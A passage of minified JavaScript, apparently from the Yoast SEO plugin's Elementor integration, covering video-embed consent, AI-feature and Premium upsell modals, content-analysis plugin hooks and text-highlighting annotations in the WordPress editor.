(0,m.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,c.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,c.createElement)(h.Button,{type:"button",variant:"secondary",onClick:i,disabled:s.status===ce},(0,m.__)("Deny","wordpress-seo")),(0,c.createElement)(h.Button,{type:"button",variant:"primary",onClick:l,disabled:s.status===ce},(0,m.__)("Allow","wordpress-seo")))),s.value&&r===ue&&(0,c.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===e&&(0,c.createElement)(h.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==e&&(0,c.createElement)("div",{className:`wistia_embed wistia_async_${e} videoFoam=true`}))))};me.propTypes={videoId:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired};const he="yoast-seo/editor",ge=()=>{const e=(0,i.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-learn-more")),[]),t=(0,i.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell")),[]),s=(0,i.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell-woo-seo-premium-bundle")),[]),r=(0,i.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell-woo-seo")),[]),n=(0,i.useSelect)((e=>e(he).getIsPremium()),[]),a=(0,i.useSelect)((e=>e(he).getIsWooSeoActive()),[]),o=(0,i.useSelect)((e=>e(he).getIsWooCommerceActive()),[]),l=(0,i.useSelect)((e=>e(he).getIsProduct()),[]),d=(0,i.useSelect)((e=>e(he).getIsProductTerm()),[]),p={upsellLink:t};if(o&&l&&(p.title=(0,m.__)("Generate product titles & descriptions with AI!","wordpress-seo"),p.isProductCopy=!0),o&&(l||d)){const e=(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium, %2$s expands to Yoast WooCommerce SEO. */
(0,m.__)("%1$s + %2$s","wordpress-seo"),"Yoast SEO Premium","Yoast WooCommerce SEO");p.newToText=(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium and Yoast WooCommerce SEO. */
(0,m.__)("New in %1$s","wordpress-seo"),e),n?(p.upsellLabel=(0,m.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast WooCommerce SEO"),p.upsellLink=r):a||(p.upsellLabel=`${(0,m.sprintf)(/* translators: %1$s expands to Woo Premium bundle. */
(0,m.__)("Unlock with the %1$s","wordpress-seo"),"Woo Premium bundle")}*`,p.bundleNote=(0,c.createElement)("div",{className:"yst-text-xs yst-text-slate-500 yst-mt-2"},`*${e}`),p.upsellLink=s)}const h=(0,i.useSelect)((e=>e(he).selectImageLink("ai-generator-preview.png")),[]),g=(0,u.useMemo)((()=>({src:h,width:"432",height:"244"})),[h]),y=(0,i.useSelect)((e=>e(he).selectWistiaEmbedPermissionValue()),[]),f=(0,i.useSelect)((e=>e(he).selectWistiaEmbedPermissionStatus()),[]),{setWistiaEmbedPermission:w}=(0,i.useDispatch)(he),E=(0,u.useMemo)((()=>({value:y,status:f,set:w})),[y,f,w]);return(0,c.createElement)(b,{learnMoreLink:e,thumbnail:g,wistiaEmbedPermission:E,...p})},ye=({fieldId:e})=>{const[t,,,s,r]=(0,h.useToggleState)(!1),n=(0,u.useCallback)((()=>{s()}),[s]),a=(0,u.useRef)(null);return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("button",{type:"button",id:`yst-replacevar__use-ai-button__${e}`,className:"yst-replacevar__use-ai-button-upsell",onClick:n},(0,m.__)("Use AI","wordpress-seo")),(0,c.createElement)(h.Modal,{className:"yst-introduction-modal",isOpen:t,onClose:r,initialFocus:a},(0,c.createElement)(h.Modal.Panel,{className:"yst-max-w-lg yst-p-0 yst-rounded-3xl"},(0,c.createElement)(ge,{onClose:r,focusElementRef:a}))))};ye.propTypes={fieldId:y().string.isRequired};const fe="yoast-seo/editor",we=window.yoast.analysis;function be(){}const Ee=window.yoast.externals.redux;function _e(e){return e.sort(((e,t)=>e._identifier.localeCompare(t._identifier)))}function ve(){return(0,T.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}function ke(){const e=ve();return(0,T.get)(e,"contentLocale","en_US")}function xe(){const e=ve();return!0===(0,T.get)(e,"contentAnalysisActive",!1)}function Se(){const e=ve();return!0===(0,T.get)(e,"keywordAnalysisActive",!1)}function Re(){const e=ve();return!0===(0,T.get)(e,"inclusiveLanguageAnalysisActive",!1)}const Te=window.yoast.featureFlag;class Ce{constructor(e){this.refresh=e,this.loaded=!1,this.preloadThreshold=3e3,this.plugins={},this.modifications={},this._registerPlugin=this._registerPlugin.bind(this),this._ready=this._ready.bind(this),this._reloaded=this._reloaded.bind(this),this._registerModification=this._registerModification.bind(this),this._registerAssessment=this._registerAssessment.bind(this),this._applyModifications=this._applyModifications.bind(this),setTimeout(this._pollLoadingPlugins.bind(this),1500)}_registerPlugin(e,t){return(0,T.isString)(e)?(0,T.isUndefined)(t)||(0,T.isObject)(t)?!1===this._validateUniqueness(e)?(console.error("Failed to register plugin. Plugin with name "+e+" already exists"),!1):(this.plugins[e]=t,!0):(console.error("Failed to register plugin "+e+". Expected parameters `options` to be a object."),!1):(console.error("Failed to register plugin. Expected parameter `pluginName` to be a string."),!1)}_ready(e){return(0,T.isString)(e)?(0,T.isUndefined)(this.plugins[e])?(console.error("Failed to modify status for plugin "+e+". The plugin was not properly registered."),!1):(this.plugins[e].status="ready",!0):(console.error("Failed to modify status for plugin "+e+". Expected parameter `pluginName` to be a string."),!1)}_reloaded(e){return(0,T.isString)(e)?(0,T.isUndefined)(this.plugins[e])?(console.error("Failed to reload Content Analysis for plugin "+e+". The plugin was not properly registered."),!1):(this.refresh(),!0):(console.error("Failed to reload Content Analysis for "+e+". Expected parameter `pluginName` to be a string."),!1)}_registerModification(e,t,s,r){if(!(0,T.isString)(e))return console.error("Failed to register modification for plugin "+s+". Expected parameter `modification` to be a string."),!1;if(!(0,T.isFunction)(t))return console.error("Failed to register modification for plugin "+s+". Expected parameter `callable` to be a function."),!1;if(!(0,T.isString)(s))return console.error("Failed to register modification for plugin "+s+". Expected parameter `pluginName` to be a string."),!1;if(!1===this._validateOrigin(s))return console.error("Failed to register modification for plugin "+s+". The integration has not finished loading yet."),!1;const n={callable:t,origin:s,priority:(0,T.isNumber)(r)?r:10};return(0,T.isUndefined)(this.modifications[e])&&(this.modifications[e]=[]),this.modifications[e].push(n),!0}_registerAssessment(e,t,s,r){return(0,T.isString)(t)?(0,T.isObject)(s)?(0,T.isString)(r)?(t=r+"-"+t,e.addAssessment(t,s),!0):(console.error("Failed to register assessment for plugin "+r+". Expected parameter `pluginName` to be a string."),!1):(console.error("Failed to register assessment for plugin "+r+". Expected parameter `assessment` to be a function."),!1):(console.error("Failed to register test for plugin "+r+". Expected parameter `name` to be a string."),!1)}_applyModifications(e,t,s){let r=this.modifications[e];return!(0,T.isArray)(r)||r.length<1||(r=this._stripIllegalModifications(r),r.sort(((e,t)=>e.priority-t.priority)),(0,T.forEach)(r,(function(r){const n=r.callable(t,s);typeof n==typeof t?t=n:console.error("Modification with name "+e+" performed by plugin with name "+r.origin+" was ignored because the data that was returned by it was of a different type than the data we had passed it.")}))),t}_pollLoadingPlugins(e){e=(0,T.isUndefined)(e)?0:e,!0===this._allReady()?(this.loaded=!0,this.refresh()):e>=this.preloadThreshold?(this._pollTimeExceeded(),this.loaded=!0,this.refresh()):(e+=50,setTimeout(this._pollLoadingPlugins.bind(this,e),50))}_allReady(){return(0,T.reduce)(this.plugins,(function(e,t){return e&&"ready"===t.status}),!0)}_pollTimeExceeded(){(0,T.forEach)(this.plugins,(function(e,t){(0,T.isUndefined)(e.options)||"ready"===e.options.status||(console.error("Error: Plugin "+t+". did not finish loading in time."),delete this.plugins[t])}))}_stripIllegalModifications(e){return(0,T.forEach)(e,((t,s)=>{!1===this._validateOrigin(t.origin)&&delete e[s]})),e}_validateOrigin(e){return"ready"===this.plugins[e].status}_validateUniqueness(e){return(0,T.isUndefined)(this.plugins[e])}}let Ie=null;const Le=()=>{if(null===Ie){const e=(0,i.dispatch)("yoast-seo/editor").runAnalysis;Ie=window.YoastSEO.app&&window.YoastSEO.app.pluggable?window.YoastSEO.app.pluggable:new Ce(e)}return Ie},Pe=e=>Le()._ready(e),Ae=e=>Le()._reloaded(e),Oe=(e,t,s,r)=>Le()._registerModification(e,t,s,r),Fe=(e,t)=>Le()._registerPlugin(e,t),De=(e,t,s)=>Le().loaded?Le()._applyModifications(e,t,s):t,Me="yoastmark";function qe(e,t){return e._properties.position.startOffset>t.length||e._properties.position.endOffset>t.length}function Ne(e,t,s){const r=e.dom;let n=e.getContent();if(n=we.markers.removeMarks(n),(0,T.isEmpty)(s))return void e.setContent(n);n=s[0].hasPosition()?function(e,t){if(!t)return"";for(let s=(e=(0,T.orderBy)(e,(e=>e._properties.position.startOffset),["asc"])).length-1;s>=0;s--){const r=e[s];qe(r,t)||(t=r.applyWithPosition(t))}return t}(s,n):function(e,t,s,r){const{fieldsToMark:n,selectedHTML:a}=we.languageProcessing.getFieldsToMark(s,r);return(0,T.forEach)(s,(function(t){"acf_content"!==e.id&&(t._properties.marked=we.languageProcessing.normalizeHTML(t._properties.marked),t._properties.original=we.languageProcessing.normalizeHTML(t._properties.original)),n.length>0?a.forEach((e=>{const s=t.applyWithReplace(e);r=r.replace(e,s)})):r=t.applyWithReplace(r)})),r}(e,0,s,n),e.setContent(n),function(e){let t=e.getContent();t=t.replace(new RegExp("&lt;yoastmark.+?&gt;","g"),"").replace(new RegExp("&lt;/yoastmark&gt;","g"),""),e.setContent(t)}(e);const a=r.select(Me);(0,T.forEach)(a,(function(e){e.setAttribute("data-mce-bogus","1")}))}function Ue(e){return window.test=e,Ne.bind(null,e)}T.noop,T.noop,T.noop;const Be="content";function We(e){if("undefined"==typeof tinyMCE||void 0===tinyMCE.editors||0===tinyMCE.editors.length)return!1;const t=tinyMCE.get(e);return null!==t&&!t.isHidden()}window.wp.annotations;const Ke=function(e){return(0,T.uniq)((0,T.flatten)(e.map((e=>{if(!(0,T.isUndefined)(e.getFieldsToMark()))return e.getFieldsToMark()}))))},Ye=window.wp.richText,je=/(<([a-z]|\/)[^<>]+>)/gi,{htmlEntitiesRegex:ze}=we.helpers.htmlEntities,He=e=>{let t=0;return(0,T.forEachRight)(e,(e=>{const[s]=e;let r=s.length;/^<\/?br/.test(s)&&(r-=1),t+=r})),t},Ve="<yoastmark class='yoast-text-mark'>",Ge="</yoastmark>",Ze='<yoastmark class="yoast-text-mark">';function Qe(e,t,s,r,n){const a=r.clientId,o=(0,Ye.create)({html:e,multilineTag:s.multilineTag,multilineWrapperTag:s.multilineWrapperTag}).text;return(0,T.flatMap)(n,(s=>{let n;return n=s.hasBlockPosition&&s.hasBlockPosition()?function(e,t,s,r,n){if(t===e.getBlockClientId()){let t=e.getBlockPositionStart(),a=e.getBlockPositionEnd();if(e.isMarkForFirstBlockSection()){const e=((e,t,s)=>{const r="yoast/faq-block"===s?'<strong class="schema-faq-question">':'<strong class="schema-how-to-step-name">';return{blockStartOffset:e-=r.length,blockEndOffset:t-=r.length}})(t,a,s);t=e.blockStartOffset,a=e.blockEndOffset}if(r.slice(t,a)===n.slice(t,a))return[{startOffset:t,endOffset:a}];const o=((e,t,s)=>{const r=s.slice(0,e),n=s.slice(0,t),a=((e,t,s,r)=>{const n=[...e.matchAll(je)];s-=He(n);const a=[...t.matchAll(je)];return{blockStartOffset:s,blockEndOffset:r-=He(a)}})(r,n,e,t),o=((e,t,s,r)=>{let n=[...e.matchAll(ze)];return(0,T.forEachRight)(n,(e=>{const[,t]=e;s-=t.length})),n=[...t.matchAll(ze)],(0,T.forEachRight)(n,(e=>{const[,t]=e;r-=t.length})),{blockStartOffset:s,blockEndOffset:r}})(r,n,e=a.blockStartOffset,t=a.blockEndOffset);return{blockStartOffset:e=o.blockStartOffset,blockEndOffset:t=o.blockEndOffset}})(t,a,r);return[{startOffset:o.blockStartOffset,endOffset:o.blockEndOffset}]}return[]}(s,a,r.name,e,o):function(e,t){const s=t.getOriginal().replace(/(<([^>]+)>)/gi,""),r=t.getMarked().replace(/(<(?!\/?yoastmark)[^>]+>)/gi,""),n=function(e,t,s=!0){const r=[];if(0===e.length)return r;let n,a=0;for(s||(t=t.toLowerCase(),e=e.toLowerCase());(n=e.indexOf(t,a))>-1;)r.push(n),a=n+t.length;return r}(e,s);if(0===n.length)return[];const a=function(e){let t=e.indexOf(Ve);const s=t>=0;s||(t=e.indexOf(Ze));let r=null;const n=[];for(;t>=0;){if(r=(e=s?e.replace(Ve,""):e.replace(Ze,"")).indexOf(Ge),r<t)return[];e=e.replace(Ge,""),n.push({startOffset:t,endOffset:r}),t=s?e.indexOf(Ve):e.indexOf(Ze),r=null}return n}(r),o=[];return a.forEach((e=>{n.forEach((r=>{const n=r+e.startOffset;let a=r+e.endOffset;0===e.startOffset&&e.endOffset===t.getOriginal().length&&(a=r+s.length),o.push({startOffset:n,endOffset:a})}))})),o}(o,s),n?n.map((e=>({...e,block:a,richTextIdentifier:t}))):[]}))}const Xe=e=>e[0].toUpperCase()+e.slice(1),Je=(e,t,s,r,n)=>(e=e.map((e=>{const a=`${e.id}-${n[0]}`,o=`${e.id}-${n[1]}`,i=Xe(n[0]),l=Xe(n[1]),c=e[`json${i}`],d=e[`json${l}`],{marksForFirstSection:p,marksForSecondSection:u}=((e,t)=>({marksForFirstSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&e.isMarkForFirstBlockSection():e)),marksForSecondSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&!e.isMarkForFirstBlockSection():e))}))(t,e),m=Qe(c,a,s,r,p),h=Qe(d,o,s,r,u);return m.concat(h)})),(0,T.flattenDeep)(e)),et="yoast";let tt=[];const st={"core/paragraph":[{key:"content"}],"core/list":[{key:"values",multilineTag:"li",multilineWrapperTag:["ul","ol"]}],"core/list-item":[{key:"content"}],"core/heading":[{key:"content"}],"core/audio":[{key:"caption"}],"core/embed":[{key:"caption"}],"core/gallery":[{key:"caption"}],"core/image":[{key:"caption"}],"core/table":[{key:"caption"}],"core/video":[{key:"caption"}],"yoast/faq-block":[{key:"questions"}],"yoast/how-to-block":[{key:"steps"},{key:"jsonDescription"}]};function rt(){const e=tt.shift();e&&((0,i.dispatch)("core/annotations").__experimentalAddAnnotation(e),nt())}function nt(){(0,T.isFunction)(window.requestIdleCallback)?window.requestIdleCallback(rt,{timeout:1e3}):setTimeout(rt,150)}const at=(e,t)=>{return(0,T.flatMap)((s=e.name,st.hasOwnProperty(s)?st[s]:[]),(s=>"yoast/faq-block"===e.name?((e,t,s)=>{const r=t.attributes[e.key];return 0===r.length?[]:Je(r,s,e,t,["question","answer"])})(s,e,t):"yoast/how-to-block"===e.name?((e,t,s)=>{const r=t.attributes[e.key];if(r&&0===r.length)return[];const n=[];return"steps"===e.key&&n.push(Je(r,s,e,t,["name","text"])),"jsonDescription"===e.key&&(s=s.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?!e.getBlockAttributeId():e)),n.push(Qe(r,"description",e,t,s))),(0,T.flattenDeep)(n)})(s,e,t):function(e,t,s){const r=e.key,n=((e,t)=>{const s=e.attributes[t];return"string"==typeof s?s:(s||"").toString()})(t,r);return Qe(n,r,e,t,s)}(s,e,t)));var s};function ot(e,t){return(0,T.flatMap)(e,(e=>{const s=function(e){return e.innerBlocks.length>0}(e)?ot(e.innerBlocks,t):[];return at(e,t).concat(s)}))}function it(e){tt=[],(0,i.dispatch)("core/annotations").__experimentalRemoveAnnotationsBySource(et);const t=Ke(e);if(0===e.length)return;let s=(0,i.select)("core/block-editor").getBlocks();var r;t.length>0&&(s=s.filter((e=>t.some((t=>"core/"+t===e.name))))),r=ot(s,e),tt=r.map((e=>({blockClientId:e.block,source:et,richTextIdentifier:e.richTextIdentifier,range:{start:e.startOffset,end:e.endOffset}}))),nt()}function lt(e,t){let s;We(Be)&&((0,T.isUndefined)(s)&&(s=Ue(tinyMCE.get(Be))),s(e,t)),(0,i.select)("core/block-editor")&&(0,T.isFunction)((0,i.select)("core/block-editor").getBlocks)&&(0,i.select)("core/annotations")&&(0,T.isFunction)((0,i.dispatch)("core/annotations").__experimentalAddAnnotation)&&(function(e,t){tinyMCE.editors.map((e=>Ue(e))).forEach((s=>s(e,t)))}(e,t),it(t)),(0,l.doAction)("yoast.analysis.applyMarks",t)}function ct(){const e=(0,i.select)("yoast-seo/editor").isMarkingAvailable(),t=(0,i.select)("yoast-seo/editor").getMarkerPauseStatus();return!e||t?T.noop:lt}const dt=(0,T.debounce)((async function(e,t){const{text:s,...r}=t,n=new we.Paper(s,r);try{const t=await e.analyze(n),{seo:s,readability:r,inclusiveLanguage:a}=t.result;if(s){const e=s[""];e.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(n,e.marks)})),e.results=_e(e.results),(0,i.dispatch)("yoast-seo/editor").setSeoResultsForKeyword(n.getKeyword(),e.results),(0,i.dispatch)("yoast-seo/editor").setOverallSeoScore(e.score,n.getKeyword())}r&&(r.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(n,e.marks)})),r.results=_e(r.results),(0,i.dispatch)("yoast-seo/editor").setReadabilityResults(r.results),(0,i.dispatch)("yoast-seo/editor").setOverallReadabilityScore(r.score)),a&&(a.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(n,e.marks)})),a.results=_e(a.results),(0,i.dispatch)("yoast-seo/editor").setInclusiveLanguageResults(a.results),(0,i.dispatch)("yoast-seo/editor").setOverallInclusiveLanguageScore(a.score)),(0,l.doAction)("yoast.analysis.run",t,{paper:n})}catch(e){}}),500);function pt(){const{getAnalysisData:e,getEditorDataTitle:t,getIsFrontPage:s}=(0,i.select)("yoast-seo/editor");let r=e();r={...r,textTitle:t(),isFrontPage:s()};const n=function(e){return e.title=De("data_page_title",e.title),e.title=De("title",e.title),e.description=De("data_meta_desc",e.description),e.text=De("content",e.text),e}(r);return(0,l.applyFilters)("yoast.analysis.data",n)}const ut=()=>{const{getContentLocale:e}=(0,i.select)("yoast-seo/editor"),t=((...e)=>()=>e.map((e=>e())))(e,pt),s=(()=>{const{setEstimatedReadingTime:e,setFleschReadingEase:t,setTextLength:s}=(0,i.dispatch)("yoast-seo/editor"),r=(0,T.get)(window,"YoastSEO.analysis.worker.runResearch",T.noop);return()=>{const n=we.Paper.parse(pt());r("readingTime",n).then((t=>e(t.result))),r("getFleschReadingScore",n).then((e=>{e.result&&t(e.result)})),r("wordCountInText",n).then((e=>s(e.result)))}})();return setTimeout(s,1500),((e,t)=>{let s=e();return()=>{const r=e();(0,T.isEqual)(r,s)||(s=r,t((0,T.clone)(r)))}})(t,s)},mt=window.yoast.styledComponents;var ht=s.n(mt);const gt=window.yoast.externals.contexts,yt=({theme:e,location:t,children:s})=>(0,c.createElement)(gt.LocationProvider,{value:t},(0,c.createElement)(mt.ThemeProvider,{theme:e},s));yt.propTypes={theme:y().object.isRequired,location:y().oneOf(["sidebar","metabox","modal"]).isRequired,children:y().element.isRequired};const ft=yt,wt=[];let bt=null;class Et extends u.Component{constructor(e){super(e),this.state={registeredComponents:[]}}registerComponent(e,t){this.setState({registeredComponents:[...this.state.registeredComponents,{key:e,Component:t}]})}render(){return this.state.registeredComponents.map((({Component:e,key:t})=>(0,c.createElement)(e,{key:t})))}}function _t(e,t){null===bt||null===bt.current?wt.push({key:e,Component:t}):bt.current.registerComponent(e,t)}const vt=()=>!0;class kt extends $e.modules.hookUI.Base{constructor(e,t,s,r=vt){super(),this.command=e,this.id=t,this.callback=s,this.conditions=r}getCommand(){return this.command}getId(){return this.id}getConditions(...e){return this.conditions(...e)}apply(...e){return this.callback(...e)}}class xt extends $e.modules.hookData.Base{constructor(e,t,s,r=vt){super(),this.command=e,this.id=t,this.callback=s,this.conditions=r.bind(this)}getCommand(){return this.command}getId(){return this.id}getConditions(...e){return this.conditions(...e)}apply(...e){return this.callback(...e)}}function St(e,t,s,r=vt){return $e.hooks.registerUIAfter(new kt(e,t,s,r))}function Rt(e,t,s,r=vt){return $e.hooks.registerUIBefore(new kt(e,t,s,r))}function Tt(e,t,s,r=vt){return $e.hooks.registerDataAfter(new xt(e,t,s,r))}const Ct=e=>{return parseInt(null===(t=document.getElementById("post_ID"))||void 0===t?void 0:t.value,10)===e;var t},It=()=>{var e;return Ct(null===(e=elementor.documents.getCurrent())||void 0===e?void 0:e.id)},Lt=["yoast_wpseo_linkdex","yoast_wpseo_content_score","yoast_wpseo_inclusive_language_score","yoast_wpseo_words_for_linking","yoast_wpseo_estimated-reading-time-minutes"],Pt=["yoast_wpseo_focuskeywords","hidden_wpseo_focuskeywords"],At=e=>{let t="";e&&(t=(0,m.sprintf)(/* translators: %1$s translates to the Post Label in singular form */
(0,m.__)("Unfortunately we cannot save changes to your SEO settings while you are working on a draft of an already-published %1$s. If you want to save your SEO changes, make sure to click 'Update', or wait to make your SEO changes until you are ready to update the %1$s.","wordpress-seo"),wpseoAdminL10n.postTypeNameSingular.toLowerCase())),"draft"===elementor.settings.page.model.get("post_status")&&(t=""),(0,i.select)("yoast-seo/editor").getWarningMessage()!==t&&(0,i.dispatch)("yoast-seo/editor").setWarningMessage(t)},Ot=(e,t,s)=>null===t?null:(0,u.createPortal)(e,t,s),Ft=({id:e,children:t})=>{const s=(0,u.useRef)(document.getElementById(e)),[r,n]=(0,u.useState)((()=>Ot(t,s.current,e))),a=(0,u.useCallback)((()=>{const r=document.getElementById(e);r!==s.current&&(s.current=r,n(Ot(t,r,e)))}),[e,t]);return((e,t,s={childList:!0,subtree:!0})=>{(0,u.useEffect)((()=>{const r=new MutationObserver(t);return r.observe(e,s),()=>r.disconnect()}),[e,t])})(document.body,a),r},Dt=({error:e})=>{const t=(0,u.useCallback)((()=>{var e,t;return null===(e=window)||void 0===e||null===(t=e.location)||void 0===t?void 0:t.reload()}),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/elementor-error-support")),[]),r=(0,i.useSelect)((e=>e("yoast-seo/editor").getPreference("isRtl",!1)),[]);return(0,c.createElement)(h.Root,{context:{isRtl:r}},(0,c.createElement)(k,{error:e},(0,c.createElement)(k.VerticalButtons,{supportLink:s,handleRefreshClick:t})))};function Mt(){return(0,c.createElement)(h.ErrorBoundary,{FallbackComponent:Dt},(0,c.createElement)(p.Slot,{name:"YoastElementor"},(e=>{return void 0===(t=e).length?t:(0,T.flatten)(t).sort(((e,t)=>void 0===e.props.renderPriority?1:e.props.renderPriority-t.props.renderPriority));var t})))}Dt.propTypes={error:y().object.isRequired};const qt=window.wp.compose,Nt=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"}))})),Ut=window.wp.url;var $t=s(4530),Bt=s.n($t);const Wt=({className:e,...t})=>(0,c.createElement)("span",{className:Bt()("yst-grow yst-overflow-hidden yst-overflow-ellipsis yst-whitespace-nowrap yst-font-wp yst-text-[#555] yst-text-base yst-leading-[normal] yst-subpixel-antialiased yst-text-left",e),...t});Wt.displayName="MetaboxButton.Text",Wt.propTypes={className:y().string},Wt.defaultProps={className:""};const Kt=({className:e,...t})=>(0,c.createElement)("button",{type:"button",className:Bt()("yst-flex yst-items-center yst-w-full yst-pt-4 yst-pb-4 yst-pr-4 yst-pl-6 yst-space-x-2 yst-border-t yst-border-t-[rgb(0,0,0,0.2)] yst-rounded-none yst-transition-all hover:yst-bg-[#f0f0f0] focus:yst-outline focus:yst-outline-[1px] focus:yst-outline-[color:#0066cd] focus:-yst-outline-offset-1 focus:yst-shadow-[0_0_3px_rgba(8,74,103,0.8)]",e),...t});Kt.propTypes={className:y().string},Kt.defaultProps={className:""},Kt.Text=Wt;const Yt=window.yoast.componentsNew,jt=e=>(0,c.createElement)("div",{className:"yoast components-panel__body"},(0,c.createElement)("h2",{className:"components-panel__body-title"},(0,c.createElement)("button",{id:e.id,onClick:e.onClick,className:"components-button components-panel__body-toggle",type:"button"},e.prefixIcon&&(0,c.createElement)("span",{className:"yoast-icon-span",style:{fill:`${e.prefixIcon&&e.prefixIcon.color||""}`}},(0,c.createElement)(Yt.SvgIcon,{size:e.prefixIcon.size,icon:e.prefixIcon.icon})),(0,c.createElement)("span",{className:"yoast-title-container"},(0,c.createElement)("div",{className:"yoast-title"},e.title),(0,c.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.children,e.suffixIcon&&(0,c.createElement)(Yt.SvgIcon,{size:e.suffixIcon.size,icon:e.suffixIcon.icon}),e.SuffixHeroIcon))),zt=jt;jt.propTypes={onClick:y().func.isRequired,title:y().string.isRequired,id:y().string,subTitle:y().string,suffixIcon:y().object,SuffixHeroIcon:y().object,prefixIcon:y().object,children:y().node},jt.defaultProps={id:"",suffixIcon:null,SuffixHeroIcon:null,prefixIcon:null,subTitle:"",children:null};const Ht=window.yoast.helpers,Vt=ht().div`
  padding: 25px 32px 32px;
  color: #303030;
`,Gt=ht().ul`
  margin: 0;
  padding: 0;

  li {
    list-style-image: var(--yoast-svg-icon-check);
    margin: 0.5rem 0 0 1.5rem;
    line-height: 1.4em;

    &::marker {
      font-size: 1.5rem;
    }
  }
`,Zt=ht().span`
  display: block;
  margin-top: 4px;
`,Qt=ht().h2`
  margin-top: 0;
  margin-bottom: 0.25rem;
  color: #303030;
  font-size: 0.8125rem;
  font-weight: 600;
`,Xt=ht().p`
  display: block;
  margin: 0.25rem 0 1rem 0 !important;
  max-width: 420px;
`,Jt=ht().hr`
  margin-top: 1.5rem;
  margin-bottom: 1rem;
  border-top: 0;
  border-bottom: 1px solid #E2E8F0;
`,es=ht().div`
  text-align: center;
`,ts=ht().a`
  width: 100%;
`,ss=(0,Ht.makeOutboundLink)(ts);class rs extends u.Component{constructor(e){super(e),this.state={defaultPrice:"99"}}createBenefitsList(e){return e.length>0&&(0,c.createElement)(Gt,{role:"list"},e.map(((e,t)=>(0,c.createElement)("li",{key:`upsell-benefit-${t}`},(0,u.createInterpolateElement)(e,{strong:(0,c.createElement)("strong",null)})))))}render(){const e=(0,i.select)("yoast-seo/editor").isPromotionActive("black-friday-2024-promotion"),{defaultPrice:t}=this.state,s=e?"69.30":null,r=s||t;return(0,c.createElement)(u.Fragment,null,e&&(0,c.createElement)("div",{className:"yst-flex  yst-items-center yst-text-lg yst-content-between yst-bg-black yst-text-amber-300 yst-h-9 yst-border-amber-300 yst-border-y yst-border-x-0 yst-border-solid yst-px-6"},(0,c.createElement)("div",{className:"yst-mx-auto"},(0,m.__)("30% OFF - BLACK FRIDAY","wordpress-seo"))),(0,c.createElement)(Vt,null,(0,c.createElement)(Qt,null,this.props.title),(0,c.createElement)(Xt,null,this.props.description),(0,c.createElement)(es,null,(0,c.createElement)(ss,{...this.props.upsellButton},this.props.upsellButtonText,this.props.upsellButtonHasCaret&&(0,c.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,c.createElement)("div",{className:"yst-text-slate-600 yst-my-4"},s&&(0,c.createElement)(u.Fragment,null,(0,c.createElement)("span",{className:"yst-text-slate-500 yst-line-through"},t)," "),(0,c.createElement)("span",{className:"yst-text-slate-900 yst-text-2xl yst-font-bold"},r)," ",(0,m.__)("$ USD / € EUR / £ GBP per year (ex. VAT)","wordpress-seo")),(0,c.createElement)(Zt,{id:this.props.upsellButton["aria-describedby"]},this.props.upsellButtonLabel)),(0,c.createElement)(Jt,null),(0,c.createElement)(Qt,null,this.props.benefitsTitle),this.createBenefitsList(this.props.benefits)))}}rs.propTypes={title:y().node,benefits:y().array,benefitsTitle:y().node,description:y().node,upsellButton:y().object,upsellButtonText:y().string.isRequired,upsellButtonLabel:y().string,upsellButtonHasCaret:y().bool},rs.defaultProps={title:null,description:null,benefits:[],benefitsTitle:null,upsellButton:{href:"",className:"button button-primary"},upsellButtonLabel:"",upsellButtonHasCaret:!0};const ns=rs,as=ht().div`
	min-width: 600px;

	@media screen and ( max-width: 680px ) {
		min-width: 0;
		width: 86vw;
	}
`,os=ht().div`
	@media screen and ( min-width: 600px ) {
		max-width: 420px;
	}
`,is=(ht()(Yt.Icon)`
	float: ${(0,Ht.getDirectionalStyle)("right","left")};
	margin: ${(0,Ht.getDirectionalStyle)("0 0 16px 16px","0 16px 16px 0")};

	&& {
		width: 150px;
		height: 150px;

		@media screen and ( max-width: 680px ) {
			width: 80px;
			height: 80px;
		}
	}
